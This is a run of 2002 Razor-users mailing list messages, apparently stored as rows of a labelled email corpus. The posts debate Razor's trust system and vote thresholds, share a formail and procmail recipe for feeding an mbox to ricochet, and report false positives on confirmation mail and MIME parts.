-0700 (PDT)",Re: [Razor-users] many vs one,"On Wed, 14 Aug 2002, Oates, Isaac wrote: > I'm new to razor but have studied trust systems before. I've been following > the threads about TeS and have a few thoughts. > > First, a more complex algorithm is not always better. As soon as you start > accounting for edge cases in what should otherwise be a generalized > algorithm, general performance begins to degrade exponentially. The > thing that razor should have going for it is numbers. Say that razor > has 100,000 people that actively use it (i.e. click the ""Spam"" button on > their mail reader from time to time.) If we decide that our objective > is to screen 99.0% of spam, it means that we can continue to show what > appears to be a piece of spam to 1,000 people and still meet our > objective. > > Why not just wait for 1,000 people to vote that a piece of mail is indeed > spam before ever acknowledging that it could potentially be spam? In > other words, when I razor-report a message, should I be able to tell > that razor has ever even seen that message? Because you then have a system that is ineffective to a varying degree. A simplistic view would be that 999 subscribers received a piece of spam that could have otherwise been avoided. But the reality is likely that many, many more individuals would have received the piece of spam when you factor in report times. > By having the server pretend to never have seen it, you can avoid > people who just re-report spam because it was already marked as spam, > something that is completely useless. Wrong. razor-check will tell you if a specific piece of mail matches something already in the database. If you have the system pretend to have never seen a piece of mail, how do you propose people use the system for filtering? > What about revocations? A revocation is after the fact because a > substantial number of people (1,000, in this example) have already > decided that they do not want that message. If it is marked as spam by > all those people, and then people start revoking it, what does that > mean? > It means that the revokers have an opinion that probably doesn't mesh > with the majority; No, it means that the people doing the revoking have a different opinion than the 1000 people who have submitted it as spam. Rather the 1000 people who have reported the message as spam constitute a majority or not is something that would have to be determined in the context of the individual message. > instead of messing with its rating, why not just put > it on the whitelist? If I want that ZDNet mail, and most people think > that ZDNet mail is just plain annoying, then why can't I whitelist it, > instead of ""arguing"" with everyone about whether or not it's spam? You always have that ability. > Correct me if I'm wrong, but it's not as if all mail from ZDNet will be > banned in the future-just that one piece. So if ZDNet were to change > its system to make it easier to opt out, or whatever, people would hopefully > start unsubscribing instead of clicking the ""Spam"" button. It's my opinion that it's not my job to unsubscribe to any list that I haven't subscribed to, nor is it necessarily in my best interest given that some parties sending unwanted communications may utilize the unsubscribe request as a method of determining they are mailing a valid address. > The inherent problem here, of course, is that someone can pretend to be > 1,000 people and block anything they choose. But say you still have a > lightweight trust system built in, where when they ""agree"" with the > majority (though they couldn't have known because razor hadn't > acknowledged anything yet) then your trust rating goes up and vice > versa. > > The key here is that, in order to be reliable, you need the numbers. What > am I missing here? See above. /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell Asking the wrong questions is the leading cause of wrong answers \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Oates, Isaac"" ","""Patrick"" ","Wed, 14 Aug 2002 14:24:46 -0700",RE: [Razor-users] many vs one,"First, 1,000 people will have seen the piece of spam that could've been avoided. But the other 99,000 will never see that spam. Evenly distributed, it means that an average user will only see 1% of spam. That's not realistic, because not everyone will get the same spam, but the basic threshold can be adjusted. At the very least, 30 people need to ""vote"" on a given piece of mail to make a realistic decision. Since there's no ""no"" vote mechanism (except revocation--and that's after the fact), only a ""yes"" vote mechanism exists and so if you received 30 ""yes"" votes then you could safely say that you got a reasonable sample. The system could pretend to have never seen the piece of mail until after it determined that it was probably spam. So instead of a rating going up incrementally, it would take a big leap at the beginning (from undefined to a relatively high number) and then go from there. So after the first group of people (our samplers, we'll say) have seen the spam, no one else would ever see it. As far as unsubscribing, I'm always leery of clicking on the link (and don't do so unless I specifically remember signing up for something), but the sample population will decide for themselves whether they feel that it's spam. So ultimately, I guess I'm saying that the most effective route would be to use a constantly changing sample pool and just accept that there is some fraction of users that will have to see the spam. In a system that depends on people deciding whether or not something is spam, is there any other way? Isaac -----Original Message----- From: Patrick Sent: Wednesday, August 14, 2002 2:13 PM To: Oates, Isaac Cc: razor-users@example.sourceforge.net Subject: Re: [Razor-users] many vs one On Wed, 14 Aug 2002, Oates, Isaac wrote: > I'm new to razor but have studied trust systems before. I've been following > the threads about TeS and have a few thoughts. > > First, a more complex algorithm is not always better. As soon as you start > accounting for edge cases in what should otherwise be a generalized > algorithm, general performance begins to degrade exponentially. The > thing that razor should have going for it is numbers. Say that razor > has 100,000 people that actively use it (i.e. click the ""Spam"" button on > their mail reader from time to time.) If we decide that our objective > is to screen 99.0% of spam, it means that we can continue to show what > appears to be a piece of spam to 1,000 people and still meet our > objective. > > Why not just wait for 1,000 people to vote that a piece of mail is indeed > spam before ever acknowledging that it could potentially be spam? In > other words, when I razor-report a message, should I be able to tell > that razor has ever even seen that message? Because you then have a system that is ineffective to a varying degree. A simplistic view would be that 999 subscribers received a piece of spam that could have otherwise been avoided. But the reality is likely that many, many more individuals would have received the piece of spam when you factor in report times. > By having the server pretend to never have seen it, you can avoid > people who just re-report spam because it was already marked as spam, > something that is completely useless. Wrong. razor-check will tell you if a specific piece of mail matches something already in the database. If you have the system pretend to have never seen a piece of mail, how do you propose people use the system for filtering? > What about revocations? A revocation is after the fact because a > substantial number of people (1,000, in this example) have already > decided that they do not want that message. If it is marked as spam by > all those people, and then people start revoking it, what does that > mean? > It means that the revokers have an opinion that probably doesn't mesh > with the majority; No, it means that the people doing the revoking have a different opinion than the 1000 people who have submitted it as spam. Rather the 1000 people who have reported the message as spam constitute a majority or not is something that would have to be determined in the context of the individual message. > instead of messing with its rating, why not just put > it on the whitelist? If I want that ZDNet mail, and most people think > that ZDNet mail is just plain annoying, then why can't I whitelist it, > instead of ""arguing"" with everyone about whether or not it's spam? You always have that ability. > Correct me if I'm wrong, but it's not as if all mail from ZDNet will be > banned in the future-just that one piece. So if ZDNet were to change > its system to make it easier to opt out, or whatever, people would hopefully > start unsubscribing instead of clicking the ""Spam"" button. It's my opinion that it's not my job to unsubscribe to any list that I haven't subscribed to, nor is it necessarily in my best interest given that some parties sending unwanted communications may utilize the unsubscribe request as a method of determining they are mailing a valid address. > The inherent problem here, of course, is that someone can pretend to be > 1,000 people and block anything they choose. But say you still have a > lightweight trust system built in, where when they ""agree"" with the > majority (though they couldn't have known because razor hadn't > acknowledged anything yet) then your trust rating goes up and vice > versa. > > The key here is that, in order to be reliable, you need the numbers. What > am I missing here? See above. /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell Asking the wrong questions is the leading cause of wrong answers \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code1 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Patrick ,Vipul Ved Prakash ,"Wed, 14 Aug 2002 14:47:02 -0700 (PDT)",Re: [Razor-users] Re: What's wrong with the Razor servers now?,"On Mon, 12 Aug 2002, Vipul Ved Prakash wrote: > On Mon, Aug 12, 2002 at 10:38:44AM -0700, Craig R . Hughes wrote: > > This is, I think the biggest fallacy here. You don't have to > > block jack shit to get a high trust rating, you just have to > > confirm Razor's existing opinion on a large number of messages: > > > > if(check() == spam) then submit() else revoke() > > > > That algorithm boosts trust, but reduces the information in > > SpamNet by damping. > > Again, this is not true. Only certain events (reports/revokes) for a spam > are rewarded and the algorithm for picking these up is based on many > different factors. And those would be???? Is there a point that you plan on releasing detailed information about TeS, so we can stop engaging in idle speculation? It's not my desire to second-guess you Vipul(however much my missives may appear otherwise) or question the hard work you and the other developers have put into the system, however it seems that every request for such information has been met with silence. Thanks. /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell Asking the wrong questions is the leading cause of wrong answers \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """zeek"" ","""Sven Willenberger"" ","Wed, 14 Aug 2002 18:41:32 -0400",RE: [Razor-users] Ricochet Question Actually,"formail did the trick. Thanks to those who answered. For the sake of archives, here's how to ""patch"" ricochet: 1. procmailrc (/tmp/pmrc): RICOCHET=/usr/local/etc/ricochet PMDIR=/tmp LOGFILE=$PMDIR/pmlog VERBOSE=yes MAILDIR=/tmp LOGABSTRACT=all :0 f | /usr/local/bin/ri2 2. /usr/local/bin/ri2 (to test): #!/bin/sh /usr/local/bin/ricochet -DONT_SEND >/tmp/rico.$$ 3. formmail exec: formail -ds procmail /tmp/pmrc -----Original Message----- > From: razor-users-admin@example.sourceforge.net > [mailto:razor-users-admin@lists.sourceforge.net]On Behalf Of Sven > Willenberger > Sent: Tuesday, August 13, 2002 4:06 PM > To: zeek@sparklehouse.com > Cc: razor-users@example.sourceforge.net > Subject: Re: [Razor-users] Ricochet Question Actually > > > > > ----- Original Message ----- > > From: ""zeek"" > > To: > > Date: Tue, 13 Aug 2002 12:07:10 -0400 > > Subject: [Razor-users] Ricochet Question Actually > > > > > > Greetings, > > > > I've not been able to find a list regarding ricochet (closely related to > > razor: http://www.vipul.net/ricochet/) so I'm posting here. > > > > Every few days I manually go through a spam harvest that Spamassassin > > collects (by way of checking against osirosoft, razor, et. > al.). I do this > > with elm and for each piece of verified spam I pipe it to ricochet which > > sends it off to the various parties involved (not as accurate > as I'd like > > BTW). Needless to mention this is quite tedious and takes a considerable > > amount of time. > > > > My question, which is more of a perl/regexp question, is anyone > aware of a > > script that can take an entire mailbox (in proper UNIX mbox format) and > > handle each piece of mail in it? To clarify, I'm looking for something > which > > takes each piece of mail in a mailbox and pipes it to ricochet. This is > very > > similar to what razor-report does with the -M option. > > > > Assuming that you have procmail installed you also have its companion > formail. Formail can be used to parse an mbox into its component > emails and > pass them to procmail. Specifiy a procmailrc file to use to > filter/test/send > each email and you're good to go. You could even set it up as a cron ... > > example: assuming your mailbox/email is ""spambox"" > > `formail -ds procmail /home/spambox/customProcmailrc < /var/mail/spambox` > > This will take the mbox /var/mail/spambox break it apart at the message > separator ('^From '), send it off to procmail and instruct procmail to use > the ""customProcmailrc"" config file found in spambox's home directory. That > ""customProcmailrc"" would contain your rules for how to handle > each mail and > send it where it needs to go .... > > > > Cheers, > > -zeek > > > > > > > > --__--__-- > > > > Message: 11 > > Date: Tue, 13 Aug 2002 11:58:03 -0500 > > To: razor-users@example.sourceforge.net > > From: Justin Shore > > Subject: [Razor-users] Stripping the SpamAssassin report > > > > I'm assuming I need to strip the SpamAssassinReport.txt attachments > > from my spam mailbox before I run the mailbox through razor-report, > > correct? Does anyone know of an easy way to do this? > > > > Thanks > > Justin > > -- > > > > -- > > Justin Shore, ES-SS ES-SSR Pittsburg State University > > Network & Systems Manager Kelce 157Q > > Office of Information Systems Pittsburg, KS 66762 > > Voice: (620) 235-4606 Fax: (620) 235-4545 > > http://www.pittstate.edu/ois/ > > > > Warning: This message has been quadruple Rot13'ed for your protection. > > > > > > > > --__--__-- > > > > _______________________________________________ > > Razor-users mailing list > > Razor-users@lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/razor-users > > > > > > End of Razor-users Digest > > > > ------------------------------------------------------- > This sf.net email is sponsored by: Dice - The leading online job board > for high-tech professionals. Search and apply for tech jobs today! > http://seeker.dice.com/seeker.epl?rel_code=31 > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Jehan ,razor-users@example.sourceforge.net,"Wed, 14 Aug 2002 16:05:13 -0700",[Razor-users] Re: many vs one,"Oates, Isaac wrote: > First, 1,000 people will have seen the piece of spam that could've > been avoided. But the other 99,000 will never see that spam. Evenly > distributed, it means that an average user will only see 1% of spam. > That's not realistic, because not everyone will get the same spam, > but the basic threshold can be adjusted. At the very least, 30 > people need to ""vote"" on a given piece of mail to make a realistic > decision. Since there's no ""no"" vote mechanism (except > revocation--and that's after the fact), only a ""yes"" vote mechanism > exists and so if you received 30 ""yes"" votes then you could safely > say that you got a reasonable sample. I'm not sure that I follow your reasoning here. Razor isn't your mail server. It doesn't keep in your mail. You don't request your mail there. Nor do most people check for spam only when they are going to read their mail. My setup check a mail against Razor when my server receives it, not when I'm going to read it. If you wait to get 1000 reply for a mail, it means you have to wait for 1000 people to read it (at least, some people may not vote because they don't want to vote that day or because they don't think it's spam). Knowing that about half the planet would be sleeping (night time) and thus not reading their mail, it would mean that at least 2000 people already received the mail in their inbox. Knowing that, among the people who are not sleeping, not all of them are constantly reading their mail. I would say that less than 1 people over 10 read their mail as soon as it arrives. That means that 20,000 people already recieved the mail and checked it against the Razor database before you would get your 1000 votes. Also, with your system, 99% is the best you could get. If you wait for only one vote, maybe only 20 guy would read the mail (1 to vote, 10 sleeping, and 9 not reading their mail soon enough). Wich gives a value 99.98%. That's far better than your 99% don't you think. In RealLife(tm), most likely one guy voting won't be enough but the thing is that it will stop the spam as early as possible. Also, if for some reason, this mail is one of those people don't agree on whether it is spam or not, it would take a while to revoke those 1000 reports, which means that some people may lose this legitimate (to them) mail. You mentioned that with this system, people will re-report less often. First, I don't see how waiting *longer* before making a decision on the legitimacy of a mail will reduce re-reporting. The more you wait, the more people will get the mail in their inbox, the more people will see the mail (again, not everybody check their mail against Razor at read time, most do it a reception time using procmail/spamassassin). Second, re-reporting has its use, it increase the confidence that a mail is spam. So I don't see what you gain with your 1000 people. Jehan ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Vipul Ved Prakash ,Justin Mason ,"Wed, 14 Aug 2002 17:39:50 -0700",Re: [Razor-users] dot-tk registrations hitting Razor,"Justin, can SA say ""Listed in Razor2"" when using Razor2? I get a lot of reports that are misreports to Razor1 not Razor2. If this is Razor2, then revocation will fix the problem. cheers, vipul. On Wed, Aug 14, 2002 at 11:56:26AM +0100, Justin Mason wrote: > > As the proud new owner of a free antarc.tk domain ;), I got a confirmation > mail, which fell into Razor. > > Looks like the fuzzy matching will hit on all confirmation mails until > it's whitelisted. > > just fyi, > > --j. > > ------- Forwarded Message > > Date: Wed, 14 Aug 2002 11:37:35 -0000 > From: support@dot.tk (Dot TK registration center) > To: xxxxxx@xxxxx.xxx > Subject: *****SPAM***** Please confirm your free registration > > SPAM: -------------------- Start SpamAssassin results ---------------------- > SPAM: This mail is probably spam. The original message has been altered > SPAM: so you can recognise or block similar unwanted mail in future. > SPAM: See http://spamassassin.org/tag/ for more details. > SPAM: > SPAM: Content analysis details: (7.5 hits, 7 required) > SPAM: SEE_FOR_YOURSELF (2.8 points) BODY: See for yourself > SPAM: SPAM_PHRASE_13_21 (1.5 points) BODY: Contains phrases frequently found in spam > SPAM: RAZOR_CHECK (3.0 points) Listed in Razor, see http://razor.sourceforge.net/ > SPAM: MSG_ID_ADDED_BY_MTA_3 (0.2 points) 'Message-Id' was added by a relay (3) > SPAM: > SPAM: -------------------- End of SpamAssassin results --------------------- > > > Malo ni! > and thank you (faka fetai) > for registering with Dot TK! > > Your e-mail address : xxxxxxx@xxxxx.xxx > password: xxxxxxxxx > > confirmation code: xxxxxxx > (please note: this is not your password) > > As you know we like to keep things simple, so all you need > to do to activate your Dot TK address is... > > 1. Go to http://my.dot.tk/cgi-bin/confirm.taloha?tk=xxxxxx > > 2. And enter your confirmation code > > If you have received this email, but did not join us @ Dot TK, > then somebody tried to register using your e-mail address. > > You can simply ignore this message... But why not come on in, > and see for yourself if your own -free- domain name is still > available at http://www.dot.tk > > Any questions? Please visit our feedback page at > http://www.dot.tk/cgi-bin/response.taloha > Hope to see you soon at Dot TK. > > Dot TK -- Dividing Domains Differently. > > > > ------- End of Forwarded Message > > > > ------------------------------------------------------- > This sf.net email is sponsored by: Dice - The leading online job board > for high-tech professionals. Search and apply for tech jobs today! > http://seeker.dice.com/seeker.epl?rel_code=31 > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson",0,1 """Craig R.Hughes"" ",mail@vipul.net,"Wed, 14 Aug 2002 22:57:17 -0700",Re: [Razor-users] dot-tk registrations hitting Razor,"Hmm, tricky because we've got Razor1 and Razor2 rolled into one rule. Probably should break them out as separate rules anyway so they can get different scores, etc. Not too hard to do, but it's nearly 11pm so I'll see if I can get to it tomorrow. C On Wednesday, August 14, 2002, at 05:39 PM, Vipul Ved Prakash wrote: > Justin, can SA say ""Listed in Razor2"" when using Razor2? I get a lot of > reports that are misreports to Razor1 not Razor2. > > If this is Razor2, then revocation will fix the problem. > > cheers, > vipul. > > On Wed, Aug 14, 2002 at 11:56:26AM +0100, Justin Mason wrote: >> >> As the proud new owner of a free antarc.tk domain ;), I got a >> confirmation >> mail, which fell into Razor. >> >> Looks like the fuzzy matching will hit on all confirmation mails until >> it's whitelisted. >> >> just fyi, >> >> --j. >> >> ------- Forwarded Message >> >> Date: Wed, 14 Aug 2002 11:37:35 -0000 >> From: support@dot.tk (Dot TK registration center) >> To: xxxxxx@xxxxx.xxx >> Subject: *****SPAM***** Please confirm your free registration >> >> SPAM: -------------------- Start SpamAssassin >> results ---------------------- >> SPAM: This mail is probably spam. The original message has >> been altered >> SPAM: so you can recognise or block similar unwanted mail in future. >> SPAM: See http://spamassassin.org/tag/ for more details. >> SPAM: >> SPAM: Content analysis details: (7.5 hits, 7 required) >> SPAM: SEE_FOR_YOURSELF (2.8 points) BODY: See for yourself >> SPAM: SPAM_PHRASE_13_21 (1.5 points) BODY: Contains phrases >> frequently found in spam >> SPAM: RAZOR_CHECK (3.0 points) Listed in Razor, see >> http://razor.sourceforge.net/ >> SPAM: MSG_ID_ADDED_BY_MTA_3 (0.2 points) 'Message-Id' was >> added by a relay (3) >> SPAM: >> SPAM: -------------------- End of SpamAssassin >> results --------------------- >> >> >> Malo ni! >> and thank you (faka fetai) >> for registering with Dot TK! >> >> Your e-mail address : xxxxxxx@xxxxx.xxx >> password: xxxxxxxxx >> >> confirmation code: xxxxxxx >> (please note: this is not your password) >> >> As you know we like to keep things simple, so all you need >> to do to activate your Dot TK address is... >> >> 1. Go to http://my.dot.tk/cgi-bin/confirm.taloha?tk=xxxxxx >> >> 2. And enter your confirmation code >> >> If you have received this email, but did not join us @ Dot TK, >> then somebody tried to register using your e-mail address. >> >> You can simply ignore this message... But why not come on in, >> and see for yourself if your own -free- domain name is still >> available at http://www.dot.tk >> >> Any questions? Please visit our feedback page at >> http://www.dot.tk/cgi-bin/response.taloha >> Hope to see you soon at Dot TK. >> >> Dot TK -- Dividing Domains Differently. >> >> >> >> ------- End of Forwarded Message >> >> >> >> ------------------------------------------------------- >> This sf.net email is sponsored by: Dice - The leading online job board >> for high-tech professionals. Search and apply for tech jobs today! >> http://seeker.dice.com/seeker.epl?rel_code=31 >> _______________________________________________ >> Razor-users mailing list >> Razor-users@lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/razor-users > > -- > > Vipul Ved Prakash | ""The future is here, it's just not > Software Design Artist | widely distributed."" > http://vipul.net/ | -- William Gibson > > > > ------------------------------------------------------- > This sf.net email is sponsored by: Dice - The leading online job board > for high-tech professionals. Search and apply for tech jobs today! > http://seeker.dice.com/seeker.epl?rel_code=31 > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > >",0,1 Vipul Ved Prakash ,Patrick ,"Wed, 14 Aug 2002 18:00:16 -0700",Re: [Razor-users] Re: What's wrong with the Razor servers now?,"On Wed, Aug 14, 2002 at 02:47:02PM -0700, Patrick wrote: > Is there a point that you plan on releasing detailed information about > TeS, so we can stop engaging in idle speculation? > > It's not my desire to second-guess you Vipul (however much my missives > may appear otherwise) or question the hard work you and the other > developers have put into the system, however it seems that every request > for such information has been met with silence. There are no plans for releasing details about TeS. Before the release of Razor2, I'd pointed out that Razor2 backend (specially TeS) will be closed. cheers, vipul. -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Brian May"" ",,"Thu, 15 Aug 2002 10:37:37 -0700",Re: [Razor-users] Re: What's wrong with the Razor servers now?,"Isn't eBays trust the feedback? ----- Original Message ----- From: ""Chip Paswater"" To: ""Patrick"" Cc: Sent: Wednesday, August 14, 2002 9:51 PM Subject: Re: [Razor-users] Re: What's wrong with the Razor servers now? > > > It's not my desire to second-guess you Vipul (however much my missives > > > may appear otherwise) or question the hard work you and the other > > > developers have put into the system, however it seems that every request > > > for such information has been met with silence. > > > > There are no plans for releasing details about TeS. Before the > > release of Razor2, I'd pointed out that Razor2 backend (specially > > TeS) will be closed. > > Thanks for the clarification. Guess it's time to find something that is > open. > > Good luck. Why do the details of the backend need to be open? I don't think that Ebay publishes it's proprietary trust backend, why should Razor? ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Jordan Ritter ,razor-users@example.sourceforge.net,"Thu, 15 Aug 2002 11:43:33 -0700",Re: [Razor-users] Re: What's wrong with the Razor servers now?,"--J2SCkAp4GZ/dPZZf Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Thu, Aug 15, 2002 at 10:37:37AM -0700, Brian May wrote: # Isn't eBays trust the feedback? Sure, but one can surmise that the ""Star Rating"" or feedback isn't an exact correlation to their internal metrics. --jordan --J2SCkAp4GZ/dPZZf Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9W/ZUpwQdAVEbU7oRAoa3AKCobztB2JiVbwsXV50ydjdLgEtiSwCgtG+f Yvz2asms9q5vpwEZJZxR7bk= =DJsq -----END PGP SIGNATURE----- --J2SCkAp4GZ/dPZZf-- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Patrick ,Chip Paswater ,"Thu, 15 Aug 2002 11:51:43 -0700 (PDT)",Re: [Razor-users] Re: What's wrong with the Razor servers now?,"On Wed, 14 Aug 2002, Chip Paswater wrote: > > > > It's not my desire to second-guess you Vipul (however much my missives > > > > may appear otherwise) or question the hard work you and the other > > > > developers have put into the system, however it seems that every request > > > > for such information has been met with silence. > > > > > > There are no plans for releasing details about TeS. Before the > > > release of Razor2, I'd pointed out that Razor2 backend (specially > > > TeS) will be closed. > > > > Thanks for the clarification. Guess it's time to find something that is > > open. > > > > Good luck. > > Why do the details of the backend need to be open? > > I don't think that Ebay publishes it's proprietary trust backend, why > should Razor? [last message before I unsub] It's a very poor comparison. There is no question as to what Ebay's trust model is. It's completely transparent. The ratings and the feedback is there for all to see. Most importantly it relies on the individual to make the decision for themselves rather or not to trust a buyer/seller. Contrast this with TeS which utilizes ""sooper secret"" methodologies to determine rather or not a submitter is trusted or not and at what point something becomes spam at some level of ""confidence."" The unfortunate thing is that in my experience Razor is an incredibly ineffective filter at this point. The spot checking I've done indicates about a 40% hit rate. Submissions I made a week ago still don't count as spam, apparently because I'm not trusted enough, or enough people haven't submitted the item, or some unknown combination thereof. Why anyone would continue to waste their time submitting items when they aren't being accepted due to a series of calculations which will not be shared is beyond me. Any trust model that cannot survive public scrutiny isn't worth trusting IMHO. /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell Asking the wrong questions is the leading cause of wrong answers \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chad Norwood ,"Steve Price , razor-users@example.sourceforge.net","Mon, 19 Aug 2002 10:17:26 -0700",[Razor-users] Re: turning off checksums per MIME part,"The way Razor breaks down mail is simple. If a mail contains MIME boundaries it is split on those boundaries, each MIME part is considered when marking the mail as spam. In 2.14, there are different 'logic methods' for detecting spam. The default method 5 requires all non-contention parts to be spam for the mail to be marked as spam. A part is considered under contention if its not clear if its spam are not, and is relatively rare. Sounds like you are not using 2.14, or maybe you're misinterpreting the log files. Feel free to send me the log files if you think there is a bug. Also, as jordan says, if you get a legit mail marked as spam (based on whatever MIME stuff is going on), you should revoke it (which sends all parts in) so TeS can take care of business. cheers, chad On 19/08/02 07:41 -0700, Jordan Ritter wrote: ) If I understand you correctly, you should revoke the message en total, ) because this is one of various inputs that TeS uses to understand what ) parts are under contention. ) ) As for your question specifically, Chad can answer that (sorry, I ) don't know). ) ) --jordan ) ) On Mon, Aug 19, 2002 at 09:14:17AM -0500, Steve Price wrote: ) ) # Is there an easy way in Razor v2 to turn off detecting a message as ) # SPAM if one of the MIME parts was found in a previous SPAM? I just ) # received subscribe request to a moderated ecartis list and it was ) # detected as SPAM because it contained an empty text/plain part and ) # an ""empty"" (to iMail anyway) text/html part. In reality there were ) # no MIME parts to this message since the body of the email contained ) # instructions from ecartis along with a forwarded copy of the ) # subscribe request which happened to be a multipart MIME message. ) # Sure there were MIME boundaries in the forwarded message but the ) # message as received wasn't a multipart MIME message so Razor should ) # not have detected any of the MIME boundary headers in the body of ) # the forwarded message. I realized I could whitelist the part that ) # is listed but it would seem that the detection of MIME boundaries ) # should be reserved for messages that actually have multiple MIME ) # parts and not every message that looks like it might. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Steve Price ,Chad Norwood ,"Mon, 19 Aug 2002 12:29:53 -0500",[Razor-users] Re: turning off checksums per MIME part,"On Mon, Aug 19, 2002 at 10:17:26AM -0700, Chad Norwood wrote: > The way Razor breaks down mail is simple. If a mail contains MIME > boundaries it is split on those boundaries, each MIME part is considered > when marking the mail as spam. This isn't a MIME message that it is breaking down though. The message as sent to me is just a regular one part, non-MIME message. The contents of the message among other things is a forwarded message (inline not as an attachment) that happens to have MIME parts. > In 2.14, there are different 'logic methods' for detecting spam. > The default method 5 requires all non-contention parts to be spam for I see 1-4 documented in the manpage. 2 looked like a good candidate but the manpage states that only 1, 3, and 4 are on by default. No mention of method 5 though that I can see. > the mail to be marked as spam. A part is considered under > contention if its not clear if its spam are not, and is relatively > rare. > > Sounds like you are not using 2.14, or maybe you're misinterpreting Actually I am using 2.14. > the log files. Feel free to send me the log files if you think > there is a bug. > > Also, as jordan says, if you get a legit mail marked as spam (based > on whatever MIME stuff is going on), you should revoke it (which sends > all parts in) so TeS can take care of business. I have to run off to a meeting but I'll send you a copy of the logs and the message that triggered as SPAM when I get back. I'll also revoke it along with the other 3 similar messages and the Security Advisory that were wrongly called SPAM this morning. Thanks. -steve ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chad Norwood ,Steve Price ,"Mon, 19 Aug 2002 10:57:28 -0700",[Razor-users] Re: turning off checksums per MIME part,"On 19/08/02 12:29 -0500, Steve Price wrote: 